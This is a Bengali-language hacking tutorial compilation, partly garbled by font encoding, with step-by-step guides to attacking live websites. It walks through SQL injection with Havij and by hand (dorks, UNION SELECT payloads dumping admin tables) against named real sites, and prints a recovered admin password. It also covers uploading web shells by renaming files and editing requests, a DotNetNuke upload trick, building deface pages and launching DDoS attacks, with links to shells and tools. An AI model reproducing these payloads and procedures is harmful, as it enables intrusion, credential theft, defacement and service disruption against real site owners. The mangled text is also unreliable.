
কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 38: Hacking Bangla eBook

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

